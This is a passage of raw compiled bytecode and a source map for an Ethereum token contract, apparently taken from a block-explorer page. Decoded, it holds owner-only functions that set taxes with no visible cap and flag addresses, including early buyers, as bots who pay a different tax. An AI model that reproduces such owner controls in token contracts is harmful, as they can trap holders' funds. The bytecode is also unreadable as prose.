60405180910390fd5b601255565b60006108d93384846110f4565b5060015b92915050565b6005546001600160a01b0316331461090d5760405162461bcd60e51b81526004016108be90611edb565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061093c848484611218565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109c15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108be565b6109d585336109d08685611f26565b6110f4565b506001949350505050565b6005546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016108be90611edb565b47610a148461167f565b6000610a208247611f26565b90508215610a5b57610a5b610a358486611f39565b610a3f8584611f4c565b610a499190611f63565b6008546001600160a01b0316906117d9565b8315610a9457610a94610a6e8486611f39565b610a788684611f4c565b610a829190611f63565b6009546001600160a01b0316906117d9565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d99185906109d0908690611f39565b6005546001600160a01b03163314610afc5760405162461bcd60e51b81526004016108be90611edb565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b545760405162461bcd60e51b81526004016108be90611edb565b610b6681670de0b6b3a7640000611f4c565b600f5550565b6005546001600160a01b03163314610b965760405162461bcd60e51b81526004016108be90611edb565b610ba060006118f2565b565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108be90611edb565b600954600160b01b900460ff1615610c1f5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108be565b6009805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c605760405162461bcd60e51b81526004016108be90611edb565b816001600160a01b031663a9059cbb610c816005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611f85565b505050565b60606004805461081190611ea1565b6005546001600160a01b03163314610d305760405162461bcd60e51b81526004016108be90611edb565b600e55565b6005546001600160a01b03163314610d5f5760405162461bcd60e51b81526004016108be90611edb565b610d8481610d756005546001600160a01b031690565b6001600160a01b0316906117d9565b50565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108be90611edb565b601155565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108be565b610e4733856109d08685611f26565b5060019392505050565b60006108d9338484611218565b6005546001600160a01b03163314610e885760405162461bcd60e51b81526004016108be90611edb565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ed45760405162461bcd60e51b81526004016108be90611edb565b610ee681670de0b6b3a7640000611f4c565b60105550565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600d6000848481518110610f3a57610f3a611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7681611fb8565b915050610f19565b5050565b6005546001600160a01b03163314610fac5760405162461bcd60e51b81526004016108be90611edb565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff45760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600c600084848151811061101857611018611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105481611fb8565b915050610ff7565b6005546001600160a01b031633146110865760405162461bcd60e51b81526004016108be90611edb565b6001600160a01b0381166110eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108be565b610d84816118f2565b6001600160a01b0383166111565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108be565b6001600160a01b0382166111b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000811161127a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108be565b6001600160a01b0383166000908152600d602052604090205460ff16806112b957506001600160a01b0382166000908152600d602052604090205460ff165b156112ee576013546012556010546001600160a01b038085166000908152600160209081526040808320938716835292905220555b6001600160a01b0383166000908152600c602052604090205460ff1615801561133057506001600160a01b0382166000908152600c602052604090205460ff16155b80156113465750600954600160a01b900460ff16155b1561151257600954600160b01b900460ff1661139d5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108be565b43600b54600a546113ae9190611f39565b1115611426576007546001600160a01b038381169116146113ed576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6007546001600160a01b03848116911614611426576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600f548111156114785760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108be565b6007546001600160a01b0383811691161461151257601054816114b0846001600160a01b031660009081526020819052604090205490565b6114ba9190611f39565b11156115125760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108be565b600954600090600160a01b900460ff168061154557506001600160a01b0384166000908152600c602052604090205460ff165b8061156857506001600160a01b0383166000908152600c602052604090205460ff165b15611575575060006115ee565b6007546001600160a01b0384811691161480156115ab57506001600160a01b0384166000908152600d602052604090205460ff16155b156115d1576064601254836115c09190611f4c565b6115ca9190611f63565b90506115ee565b6064601154836115e19190611f4c565b6115eb9190611f63565b90505b600954600160a81b900460ff1680156116115750600954600160a01b900460ff16155b801561162b57506007546001600160a01b03858116911614155b80156116375750600081115b1561164457611644611944565b801561166e576116558430836119c5565b61166984846116648585611b9d565b6119c5565b611679565b6116798484846119c5565b50505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116b4576116b4611fa2565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561170d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117319190611fd1565b8160018151811061174457611744611fa2565b6001600160a01b03928316602091820292909201015260065461176a91309116846110f4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117a3908590600090869030904290600401611fee565b600060405180830381600087803b1580156117bd57600080fd5b505af11580156117d1573d6000803e3d6000fd5b505050505050565b804710156118295760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108be565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611876576040519150601f19603f3d011682016040523d82523d6000602084013e61187b565b606091505b5050905080610cf25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108be565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff16610ba0576009805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600e5481106119b5574761198d8261167f565b60006119998247611f26565b6008549091506119b2906001600160a01b0316826117d9565b50505b506009805460ff60a01b19169055565b6001600160a01b038316611a295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108be565b6001600160a01b038216611a8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108be565b6001600160a01b03831660009081526020819052604090205481811015611b035760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108be565b611b0d8282611f26565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b43908490611f39565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8f91815260200190565b60405180910390a350505050565b6000611bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be6565b9392505050565b60008184841115611c0a5760405162461bcd60e51b81526004016108be9190611c20565b506000611c178585611f26565b95945050505050565b600060208083528351808285015260005b81811015611c4d57858101830151858201604001528201611c31565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611c8057600080fd5b5035919050565b6001600160a01b0381168114610d8457600080fd5b8035611ca781611c87565b919050565b60008060408385031215611cbf57600080fd5b8235611cca81611c87565b946020939093013593505050565b600060208284031215611cea57600080fd5b8135611bdf81611c87565b600080600060608486031215611d0a57600080fd5b8335611d1581611c87565b92506020840135611d2581611c87565b929592945050506040919091013590565b600080600060608486031215611d4b57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611d7557600080fd5b8235611d8081611c87565b91506020830135611d9081611c87565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dc457600080fd5b823567ffffffffffffffff80821115611ddc57600080fd5b818501915085601f830112611df057600080fd5b813581811115611e0257611e02611d9b565b8060051b604051601f19603f83011681018181108582111715611e2757611e27611d9b565b604052918252848201925083810185019188831115611e4557600080fd5b938501935b82851015611e6a57611e5b85611c9c565b84529385019392850192611e4a565b98975050505050505050565b8015158114610d8457600080fd5b600060208284031215611e9657600080fd5b8135611bdf81611e76565b600181811c90821680611eb557607f821691505b602082108103611ed557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156108dd576108dd611f10565b808201808211156108dd576108dd611f10565b80820281158282048414176108dd576108dd611f10565b600082611f8057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611f9757600080fd5b8151611bdf81611e76565b634e487b7160e01b600052603260045260246000fd5b600060018201611fca57611fca611f10565b5060010190565b600060208284031215611fe357600080fd5b8151611bdf81611c87565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203e5784516001600160a01b031683529383019391830191600101612019565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208e4de10ddf8d1a1127a80666fac9620d3e5b6c36db1bc186f1a12c005a6d46bf64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c80638da5cb5b11610144578063aa4bde28116100b6578063dbe66ca01161007a578063dbe66ca01461070c578063dd62ed3e1461073c578063e01af92c14610782578063e16ebfc5146107a2578063f2fde38b146107c2578063f887ea40146107e257600080fd5b8063aa4bde2814610680578063aacebbe314610696578063c18bc195146106b6578063cc1776d3146106d6578063d34628cc146106ec57600080fd5b80639e252f00116101085780639e252f00146105ca578063a3ca847d146105ea578063a457c2d71461060a578063a64797c71461062a578063a8aa1b3114610640578063a9059cbb1461066057600080fd5b80638da5cb5b146105415780638ea5220f1461055f57806395d89b411461057f57806399c8d556146105945780639d0014b1146105aa57600080fd5b80634ada218b116101dd57806370a08231116101a157806370a0823114610473578063715018a6146104a957806375f0a874146104be5780638a8c523c146104f65780638c0b5e221461050b5780638cd4426d1461052157600080fd5b80634ada218b146103e557806350c9a88f14610406578063585449681461041c5780636256d181146104325780636ddd17131461045257600080fd5b80631816467f1161022f5780631816467f1461032957806323b872dd1461034957806326b5d32f14610369578063313ce5671461038957806339509351146103a557806340b28c2f146103c557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600e5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b5610802565b6040516102979190611c20565b3480156102ce57600080fd5b506102e26102dd366004611c6e565b610894565b005b3480156102f057600080fd5b506103046102ff366004611cac565b6108cc565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cd8565b6108e3565b34801561035557600080fd5b50610304610364366004611cf5565b61092f565b34801561037557600080fd5b506102e2610384366004611d36565b6109e0565b34801561039557600080fd5b5060405160128152602001610297565b3480156103b157600080fd5b506103046103c0366004611cac565b610a9b565b3480156103d157600080fd5b506102e26103e0366004611d62565b610ad2565b3480156103f157600080fd5b5060095461030490600160b01b900460ff1681565b34801561041257600080fd5b5061028d600b5481565b34801561042857600080fd5b5061028d600a5481565b34801561043e57600080fd5b506102e261044d366004611c6e565b610b2a565b34801561045e57600080fd5b5060095461030490600160a81b900460ff1681565b34801561047f57600080fd5b5061028d61048e366004611cd8565b6001600160a01b031660009081526020819052604090205490565b3480156104b557600080fd5b506102e2610b6c565b3480156104ca57600080fd5b506008546104de906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561050257600080fd5b506102e2610ba2565b34801561051757600080fd5b5061028d600f5481565b34801561052d57600080fd5b506102e261053c366004611cac565b610c36565b34801561054d57600080fd5b506005546001600160a01b03166104de565b34801561056b57600080fd5b506009546104de906001600160a01b031681565b34801561058b57600080fd5b506102b5610cf7565b3480156105a057600080fd5b5061028d60115481565b3480156105b657600080fd5b506102e26105c5366004611c6e565b610d06565b3480156105d657600080fd5b506102e26105e5366004611c6e565b610d35565b3480156105f657600080fd5b506102e2610605366004611c6e565b610d87565b34801561061657600080fd5b50610304610625366004611cac565b610db6565b34801561063657600080fd5b5061028d60135481565b34801561064c57600080fd5b506007546104de906001600160a01b031681565b34801561066c57600080fd5b5061030461067b366004611cac565b610e51565b34801561068c57600080fd5b5061028d60105481565b3480156106a257600080fd5b506102e26106b1366004611cd8565b610e5e565b3480156106c257600080fd5b506102e26106d1366004611c6e565b610eaa565b3480156106e257600080fd5b5061028d60125481565b3480156106f857600080fd5b506102e2610707366004611db1565b610eec565b34801561071857600080fd5b50610304610727366004611cd8565b600c6020526000908152604090205460ff1681565b34801561074857600080fd5b5061028d610757366004611d62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561078e57600080fd5b506102e261079d366004611e84565b610f82565b3480156107ae57600080fd5b506102e26107bd366004611db1565b610fca565b3480156107ce57600080fd5b506102e26107dd366004611cd8565b61105c565b3480156107ee57600080fd5b506006546104de906001600160a01b031681565b60606003805461081190611ea1565b80601f016020809104026020016040519081016040528092919081815260200182805461083d90611ea1565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c75760405162461bcd60e51b81526004016108be90611edb565b60405180910390fd5b601255565b60006108d93384846110f4565b5060015b92915050565b6005546001600160a01b0316331461090d5760405162461bcd60e51b81526004016108be90611edb565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061093c848484611218565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109c15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108be565b6109d585336109d08685611f26565b6110f4565b506001949350505050565b6005546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016108be90611edb565b47610a148461167f565b6000610a208247611f26565b90508215610a5b57610a5b610a358486611f39565b610a3f8584611f4c565b610a499190611f63565b6008546001600160a01b0316906117d9565b8315610a9457610a94610a6e8486611f39565b610a788684611f4c565b610a829190611f63565b6009546001600160a01b0316906117d9565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d99185906109d0908690611f39565b6005546001600160a01b03163314610afc5760405162461bcd60e51b81526004016108be90611edb565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b545760405162461bcd60e51b81526004016108be90611edb565b610b6681670de0b6b3a7640000611f4c565b600f5550565b6005546001600160a01b03163314610b965760405162461bcd60e51b81526004016108be90611edb565b610ba060006118f2565b565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108be90611edb565b600954600160b01b900460ff1615610c1f5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108be565b6009805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c605760405162461bcd60e51b81526004016108be90611edb565b816001600160a01b031663a9059cbb610c816005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611f85565b505050565b60606004805461081190611ea1565b6005546001600160a01b03163314610d305760405162461bcd60e51b81526004016108be90611edb565b600e55565b6005546001600160a01b03163314610d5f5760405162461bcd60e51b81526004016108be90611edb565b610d8481610d756005546001600160a01b031690565b6001600160a01b0316906117d9565b50565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108be90611edb565b601155565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108be565b610e4733856109d08685611f26565b5060019392505050565b60006108d9338484611218565b6005546001600160a01b03163314610e885760405162461bcd60e51b81526004016108be90611edb565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ed45760405162461bcd60e51b81526004016108be90611edb565b610ee681670de0b6b3a7640000611f4c565b60105550565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600d6000848481518110610f3a57610f3a611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7681611fb8565b915050610f19565b5050565b6005546001600160a01b03163314610fac5760405162461bcd60e51b81526004016108be90611edb565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff45760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600c600084848151811061101857611018611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105481611fb8565b915050610ff7565b6005546001600160a01b031633146110865760405162461bcd60e51b81526004016108be90611edb565b6001600160a01b0381166110eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108be565b610d84816118f2565b6001600160a01b0383166111565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108be565b6001600160a01b0382166111b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000811161127a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108be565b6001600160a01b0383166000908152600d602052604090205460ff16806112b957506001600160a01b0382166000908152600d602052604090205460ff165b156112ee576013546012556010546001600160a01b038085166000908152600160209081526040808320938716835292905220555b6001600160a01b0383166000908152600c602052604090205460ff1615801561133057506001600160a01b0382166000908152600c602052604090205460ff16155b80156113465750600954600160a01b900460ff16155b1561151257600954600160b01b900460ff1661139d5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108be565b43600b54600a546113ae9190611f39565b1115611426576007546001600160a01b038381169116146113ed576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6007546001600160a01b03848116911614611426576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600f548111156114785760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108be565b6007546001600160a01b0383811691161461151257601054816114b0846001600160a01b031660009081526020819052604090205490565b6114ba9190611f39565b11156115125760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108be565b600954600090600160a01b900460ff168061154557506001600160a01b0384166000908152600c602052604090205460ff165b8061156857506001600160a01b0383166000908152600c602052604090205460ff165b15611575575060006115ee565b6007546001600160a01b0384811691161480156115ab57506001600160a01b0384166000908152600d602052604090205460ff16155b156115d1576064601254836115c09190611f4c565b6115ca9190611f63565b90506115ee565b6064601154836115e19190611f4c565b6115eb9190611f63565b90505b600954600160a81b900460ff1680156116115750600954600160a01b900460ff16155b801561162b57506007546001600160a01b03858116911614155b80156116375750600081115b1561164457611644611944565b801561166e576116558430836119c5565b61166984846116648585611b9d565b6119c5565b611679565b6116798484846119c5565b50505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116b4576116b4611fa2565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561170d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117319190611fd1565b8160018151811061174457611744611fa2565b6001600160a01b03928316602091820292909201015260065461176a91309116846110f4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117a3908590600090869030904290600401611fee565b600060405180830381600087803b1580156117bd57600080fd5b505af11580156117d1573d6000803e3d6000fd5b505050505050565b804710156118295760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108be565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611876576040519150601f19603f3d011682016040523d82523d6000602084013e61187b565b606091505b5050905080610cf25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108be565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff16610ba0576009805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600e5481106119b5574761198d8261167f565b60006119998247611f26565b6008549091506119b2906001600160a01b0316826117d9565b50505b506009805460ff60a01b19169055565b6001600160a01b038316611a295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108be565b6001600160a01b038216611a8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108be565b6001600160a01b03831660009081526020819052604090205481811015611b035760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108be565b611b0d8282611f26565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b43908490611f39565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8f91815260200190565b60405180910390a350505050565b6000611bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be6565b9392505050565b60008184841115611c0a5760405162461bcd60e51b81526004016108be9190611c20565b506000611c178585611f26565b95945050505050565b600060208083528351808285015260005b81811015611c4d57858101830151858201604001528201611c31565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611c8057600080fd5b5035919050565b6001600160a01b0381168114610d8457600080fd5b8035611ca781611c87565b919050565b60008060408385031215611cbf57600080fd5b8235611cca81611c87565b946020939093013593505050565b600060208284031215611cea57600080fd5b8135611bdf81611c87565b600080600060608486031215611d0a57600080fd5b8335611d1581611c87565b92506020840135611d2581611c87565b929592945050506040919091013590565b600080600060608486031215611d4b57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611d7557600080fd5b8235611d8081611c87565b91506020830135611d9081611c87565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dc457600080fd5b823567ffffffffffffffff80821115611ddc57600080fd5b818501915085601f830112611df057600080fd5b813581811115611e0257611e02611d9b565b8060051b604051601f19603f83011681018181108582111715611e2757611e27611d9b565b604052918252848201925083810185019188831115611e4557600080fd5b938501935b82851015611e6a57611e5b85611c9c565b84529385019392850192611e4a565b98975050505050505050565b8015158114610d8457600080fd5b600060208284031215611e9657600080fd5b8135611bdf81611e76565b600181811c90821680611eb557607f821691505b602082108103611ed557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156108dd576108dd611f10565b808201808211156108dd576108dd611f10565b80820281158282048414176108dd576108dd611f10565b600082611f8057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611f9757600080fd5b8151611bdf81611e76565b634e487b7160e01b600052603260045260246000fd5b600060018201611fca57611fca611f10565b5060010190565b600060208284031215611fe357600080fd5b8151611bdf81611c87565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203e5784516001600160a01b031683529383019391830191600101612019565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208e4de10ddf8d1a1127a80666fac9620d3e5b6c36db1bc186f1a12c005a6d46bf64736f6c63430008130033

Deployed Bytecode Sourcemap

11425:7198:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12024:46;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;12024:46:0;;;;;;;;5429:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;17885:88::-;;;;;;;;;;-1:-1:-1;17885:88:0;;;;;:::i;:::-;;:::i;:::-;;6484:210;;;;;;;;;;-1:-1:-1;6484:210:0;;;;;:::i;:::-;;:::i;:::-;;;1694:14:1;;1687:22;1669:41;;1657:2;1642:18;6484:210:0;1529:187:1;5750:108:0;;;;;;;;;;-1:-1:-1;5838:12:0;;5750:108;;18104:103;;;;;;;;;;-1:-1:-1;18104:103:0;;;;;:::i;:::-;;:::i;6702:489::-;;;;;;;;;;-1:-1:-1;6702:489:0;;;;;:::i;:::-;;:::i;16666:719::-;;;;;;;;;;-1:-1:-1;16666:719:0;;;;;:::i;:::-;;:::i;5649:93::-;;;;;;;;;;-1:-1:-1;5649:93:0;;5732:2;2897:36:1;;2885:2;2870:18;5649:93:0;2755:184:1;7199:297:0;;;;;;;;;;-1:-1:-1;7199:297:0;;;;;:::i;:::-;;:::i;18215:161::-;;;;;;;;;;-1:-1:-1;18215:161:0;;;;;:::i;:::-;;:::i;11817:26::-;;;;;;;;;;-1:-1:-1;11817:26:0;;;;-1:-1:-1;;;11817:26:0;;;;;;11884:29;;;;;;;;;;;;;;;;11850:27;;;;;;;;;;;;;;;;18384:110;;;;;;;;;;-1:-1:-1;18384:110:0;;;;;:::i;:::-;;:::i;11787:23::-;;;;;;;;;;-1:-1:-1;11787:23:0;;;;-1:-1:-1;;;11787:23:0;;;;;;5866:177;;;;;;;;;;-1:-1:-1;5866:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;6017:18:0;5985:7;6017:18;;;;;;;;;;;;5866:177;10906:94;;;;;;;;;;;;;:::i;11599:75::-;;;;;;;;;;-1:-1:-1;11599:75:0;;;;-1:-1:-1;;;;;11599:75:0;;;;;;-1:-1:-1;;;;;3516:32:1;;;3498:51;;3486:2;3471:18;11599:75:0;3352:203:1;17612:174:0;;;;;;;;;;;;;:::i;12077:48::-;;;;;;;;;;;;;;;;13039:166;;;;;;;;;;-1:-1:-1;13039:166:0;;;;;:::i;:::-;;:::i;10683:87::-;;;;;;;;;;-1:-1:-1;10756:6:0;;-1:-1:-1;;;;;10756:6:0;10683:87;;11681:69;;;;;;;;;;-1:-1:-1;11681:69:0;;;;-1:-1:-1;;;;;11681:69:0;;;5537:104;;;;;;;;;;;;;:::i;12193:22::-;;;;;;;;;;;;;;;;17494:110;;;;;;;;;;-1:-1:-1;17494:110:0;;;;;:::i;:::-;;:::i;13213:113::-;;;;;;;;;;-1:-1:-1;13213:113:0;;;;;:::i;:::-;;:::i;17794:83::-;;;;;;;;;;-1:-1:-1;17794:83:0;;;;;:::i;:::-;;:::i;7504:444::-;;;;;;;;;;-1:-1:-1;7504:444:0;;;;;:::i;:::-;;:::i;12255:30::-;;;;;;;;;;;;;;;;11573:19;;;;;;;;;;-1:-1:-1;11573:19:0;;;;-1:-1:-1;;;;;11573:19:0;;;6051:216;;;;;;;;;;-1:-1:-1;6051:216:0;;;;;:::i;:::-;;:::i;12132:52::-;;;;;;;;;;;;;;;;17981:115;;;;;;;;;;-1:-1:-1;17981:115:0;;;;;:::i;:::-;;:::i;18502:118::-;;;;;;;;;;-1:-1:-1;18502:118:0;;;;;:::i;:::-;;:::i;12222:26::-;;;;;;;;;;;;;;;;13334:171;;;;;;;;;;-1:-1:-1;13334:171:0;;;;;:::i;:::-;;:::i;11922:48::-;;;;;;;;;;-1:-1:-1;11922:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6275:201;;;;;;;;;;-